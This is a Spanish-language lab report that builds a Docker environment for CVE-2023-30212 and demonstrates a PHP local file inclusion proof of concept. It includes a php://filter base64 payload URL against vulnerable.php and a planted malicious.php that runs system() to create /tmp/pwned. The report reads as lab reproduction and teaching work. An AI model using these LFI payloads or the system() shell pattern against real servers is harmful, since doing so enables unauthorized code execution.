cve-2023-30212

PoC para CVE-2023-30212 usando Docker

Configuración del entorno CVE-2023-30212 e informe PoC

📌 Resumen

Este informe contiene la configuración directa de un entorno web vulnerable basado en Docker para la vulnerabilidad CVE-2023-30212 (no disponible en Vulhub), y la demostración de dicha vulnerabilidad a través de un PoC.

• Número CVE: CVE-2023-30212
• Descripción de la vulnerabilidad: Posibilidad de ejecución remota de código mediante LFI (Local File Inclusion) en PHP
• Dificultad: Avanzada (entorno no disponible en Vulhub)

🔧 Configuración del entorno

1. Configuración de Dockerfile y docker-compose

• Imagen base: php:8.1-apache
• Copia de vulnerable.php y malicious.php al directorio /var/www/html
• Puerto 8088 expuesto para acceso externo

2. Descripción de los archivos principales

🚀 Flujo de ejecución de la vulnerabilidad (PoC)

1. Ejecutar el contenedor

docker-compose up -d

Nombre del contenedor: cve-2023-30212-cve-lfi-1

El servidor Apache se inicia y es accesible en http://localhost:8088

2. Verificar el código fuente del archivo malicioso basado en LFI

Llame a la siguiente URL para ver el contenido de malicious.php codificado en base64:

http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php

Al decodificar el resultado, se obtiene el siguiente código PHP:

<?php system("touch /tmp/pwned"); ?>

3. Ejecución del comando y verificación del resultado

Llame a la siguiente URL para ejecutar realmente el comando:

http://localhost:8088/malicious.php

Después de ejecutar el comando, debería crearse el archivo /tmp/pwned.

docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp

Si el archivo pwned aparece en el resultado, la prueba es exitosa.

Resumen de resultados

• Se logró verificar y decodificar el contenido del archivo malicioso mediante la vulnerabilidad LFI basada en php://filter
• Se logró ejecutar comandos arbitrarios al invocar el PHP malicioso que contiene la función system()
• PoC verificado exitosamente mediante la creación del archivo /tmp/pwned